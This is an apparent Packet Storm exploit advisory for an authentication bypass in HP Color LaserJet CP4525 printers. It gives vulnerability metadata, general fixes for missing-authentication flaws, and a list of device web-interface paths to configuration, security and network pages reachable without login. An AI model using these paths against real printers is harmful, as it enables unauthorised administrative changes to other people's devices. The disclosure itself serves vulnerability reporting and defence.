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HP Color LaserJet CP4525 Printers 6.7.0.x Authentication Bypass

HP Color LaserJet CP4525 Printers 6.7.0.x Authentication Bypass
Posted Apr 2, 2019
Authored by KingSkrupellos

HP Color LaserJet CP4525 Printers version 6.7.0.x suffers from an authentication bypass vulnerability.

tags | exploit, bypass
MD5 | 3fc0bac7b8bcbf69db61e0469ec25da6

HP Color LaserJet CP4525 Printers 6.7.0.x Authentication Bypass

Change Mirror Download
############################################################################################

# Exploit Title : HP Color LaserJet CP4525 Printers 6.7.0.x Bypass Missing Authentication
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 31/03/2019
# Vendor Homepage : hp.com
# Software Information Link :
support.hp.com/gb-en/drivers/selfservice/hp-color-laserjet-enterprise-cp4525-printer-series/3965798
# Software Version :
Driver-Universal Print Driver for Managed Services => 6.7.0.23989
Example Printer Model Number : CC494A - CCXXXA
Driver-Product Installation Software => 61.091.12.102
Driver-Universal Print Driver => Version 6.1.0.20062 and 6.7.0.23989
Driver-USB => 7.0.0.29
Firmware => 07.250.2
Software Universal Printer Driver => Version 1.8.6
Utility => Version 1.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type : CWE-306 [ Missing Authentication for Critical Function ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

############################################################################################

# Description about Software :
***************************
HP LaserJet as a brand name identifies the line of dry electrophotographic DEP laser printers marketed by the American

computer company Hewlett-Packard (HP). The HP LaserJet was the world's first desktop laser printer.

############################################################################################

# Impact :
***********
The software does not perform any authentication for functionality that requires a provable user identity

or consumes a significant amount of resources.

The vulnerability allows a remote unauthenticated attacker to send specially crafted HTTP request to the

affected application and change configuration settings or gain administrative access.

Missing authentication for critical function is a language independent issue that can appear in any multiuser environment.

Developing a fix would require understanding of the current application security model and implemented access controls.

Three basic rules however can help you eliminate potential improper authorization issues:

1) Identify all privileged assets within your application (web pages that display sensitive data,
website sections that contain privileged/administrative functionality, etc.)

2) Identify user roles within the application and their access permissions

3) Always check if the user should have privileges to access the asset

############################################################################################

# Bypass Missing Authentication Exploit / Vulnerability :
*************************************************
/hp/device/this.LCDispatcher

/hp/device/this.LCDispatcher?nav=hp.EmailServer

/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=1&lstid=-1

/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=3&lstid=1

/hp/device/this.LCDispatcher?nav=hp.Alerts

/hp/device/this.LCDispatcher?nav=hp.AutoSend

/hp/device/this.LCDispatcher?nav=hp.Security&fldPage=0

/hp/device/this.LCDispatcher?nav=hp.OtherLinks

/hp/device/this.LCDispatcher?nav=hp.Config

/hp/device/this.LCDispatcher?nav=hp.DeviceInfoConfig

/hp/jetdirect

/config_pro.htm
/tcpipv6.htm
/tcpipv4.htm

/tcp_param.htm
/network_id.htm

/tcp_summary.htm
/index_info.htm

/support_param.html
/support.htm

/tcp_diag.htm
/configpage.htm

/tcp_param.htm
/network_id.htm

############################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

############################################################################################

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